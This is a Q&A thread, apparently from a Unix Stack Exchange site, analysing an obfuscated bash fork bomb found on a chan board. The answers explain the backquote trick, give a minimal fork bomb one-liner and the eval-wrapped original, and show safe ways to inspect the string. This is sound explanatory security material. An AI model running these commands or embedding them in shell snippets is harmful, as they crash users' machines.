129

Found on a random chan board:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

Somehow running this this results in an infinitely spawning process that runs rampant and grinds the machine to a halt. I see something about "su" attempting to be executed numerous times.

..which is strange, because I'd just expect text to be output, not the execution of anything.

Running this text through an online decoder just gives me a batch of binary spew:

uudecode result

What is this mess of text actually doing, and is there a way to "safely" view it?

  • Why is "su" being executed numerous times? – Brent Washburne Nov 7 '15 at 0:57
  • 34
    A piece of advice: don't run code from random chan boards and be grateful it was just a fork bomb. – rr- Nov 8 '15 at 16:46
  • 19
    Heh. Thankfully I was on a snapshotted VM made for the express purpose of playing around with possibly hostile garbage like this. – Mikey T.K. Nov 9 '15 at 2:24
  • I know this is off-topic, but is it possible to mention the board and the context in which the command was mentioned? – Sebi Nov 9 '15 at 22:09
  • 1
188

First, let's look at the whole command:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

It contains a double-quoted string that gets echoed to uudecode. But, note that, within the double-quoted string is a back-quoted string. This string gets executed. The string is:

`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`

If we look at what's in it, we see three commands:

rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r

Performing brace expansion on the middle command, we have:

rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r

The first line tries to run a nonsense command in background. This is unimportant.

The second line is important: it defines a function r which, when run, launches two copies of itself. Each of those copies would, of course, launch two more copies. And so on.

The third line runs r, starting the fork bomb.

The rest of the code, outside of the back-quoted string, is just nonsense for obfuscation.

How to run the command safely

This code can be run safely if we set limit on function nesting level. This can be done with bash's FUNCNEST variable. Here, we set it to 2 and this stops the recursion:

$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line

The error messages above show that (a) the nonsense commands rYWdl and Y29j are not found, (b) the fork bomb gets repeatedly stopped by FUNCNEST, and (c) the output of echo does not start with begin and, consequently, is not valid input for uudecode.

The fork bomb in its simplest form

What would the fork bomb look like if we removed the obscuration? As njzk2 and gerrit suggest, it would look like:

echo "`r()(r&r);r`"

We can simplify that even further:

r()(r&r); r

That consists of two statements: one defines the fork-bomb-function r and the second runs r.

All the other code, including the pipe to uudecode, was there just for obscuration and misdirection.

The original form had yet another layer of misdirection

The OP has provided a link to the chann board discussion on which this code appeared. As presented there, the code looked like:

eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)

Notice one of the first comments about this code:

I fell for it. Copied only the part that echoes and decodes, but still got forkbombed

In the form on the chann board, one would naively think that the problem would be the eval statement operating on the output of uudecode. This would lead one to think that removing eval would solve the problem. As we have seen above, this is false and dangerously so.

  • 6
    Devious! I never thought to consider shell globbing/expansion in the middle of the echoed string. – Mikey T.K. Nov 6 '15 at 7:12
  • 30
    I think it would be good to note that uudecode is completely irrelevant here. For a moment I thought uudecode was performing back-quoted string interpolation which would render it fundamentally unsafe, but the fork bomb happens before uudecode starts at all. – gerrit Nov 6 '15 at 11:22
  • 28
    ...and this, ladies and gentleman, is why security in shell scripts is so damned hard. Even totally harmless-looking stuff can kill you. (Imagine if this was user input from somewhere...) – MathematicalOrchid Nov 6 '15 at 14:03
  • 22
    @MathematicalOrchid It actually takes nontrivial effort to cause backquoted stuff in user input to a shell script to get executed. And if you're constructing a shell script from user input you should know better than to put it in double quotes. – Random832 Nov 6 '15 at 14:40
  • 5
    @njzk2 You still need an & there: echo "`r()(r&r);r`". – gerrit Nov 6 '15 at 16:17
10

To answer the second part of your question:

...is there a way to "safely" view it?

To defuse this string, replace the outer double quotes by single quotes and escape the single quotes occurring inside the string. Like this, the shell will not execute any code, and you're actually passing everything straight to uudecode:

$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;=='
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==' | uudecode
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Other alternatives are noted in the comments:

kasperd suggested:

$ uudecode
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
[press <Ctrl>+D]
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Jacob Krall suggested to use a text editor, paste the contents, then pass that file to uudecode.

  • 5
    Alternatively: Type uudecode on the command line. Press enter. Copy-paste the string to be decoded. – kasperd Nov 6 '15 at 14:16
  • 3
    Another alternative: use a text editor to save the contents to a file. Open that file with uudecode. – Jacob Krall Nov 6 '15 at 14:32
  • Thanks to both, I have noted those alternatives in the answer. – gerrit Nov 6 '15 at 14:51
  • 1
    Make sure you check that the string isn't something like echo "foo`die`bar'`die`'baz" first! That is, if it has any 's in it then replacing the quotes with single quotes will not be sufficient. – wchargin Nov 7 '15 at 1:36
5

At a first glance, you might think that output to the shell will never get executed. This is still true. The problem is already in the input. The main trick here is what programmers call operator precedence. This is the order the shell tries to process your input:

1.       "                                                             "
2.                     rYWdl
3.                          &
4.                           r()(Y29j&r{,3Rl7Ig}&r{,T31wo})             
5.                                                         ;            
6.                                                          r           
7.                    `                                      `          
8.        I<RA('1E<W3t                                        26<F]F;== 
9.  echo                                                                
10.                                                                      |         
11.                                                                        uudecode
  1. Compose the string by executing all backticks commands inside it.
  2. Usually an unknown command, which would cause some output like If 'rYWdl' is not a typo you can use command-not-found to lookup the package that contains it … (depends on the system)
  3. Executes 2. in the background. You will never see an output.
  4. Define the fork bomb function.
  5. Command separator.
  6. Run the fork bomb.
  7. Insert the result of 6. into the String. (We never come here.)

The error is to think that echo would be the first command to be executed, uudecode the second. Both of them will never be reached.

Conclusion: Double quotes are always dangerous on the shell.

Your Answer

By clicking "Post Your Answer", you acknowledge that you have read our updated terms of service, privacy policy and cookie policy, and that your continued use of the website is subject to these policies.

Not the answer you're looking for? Browse other questions tagged or ask your own question.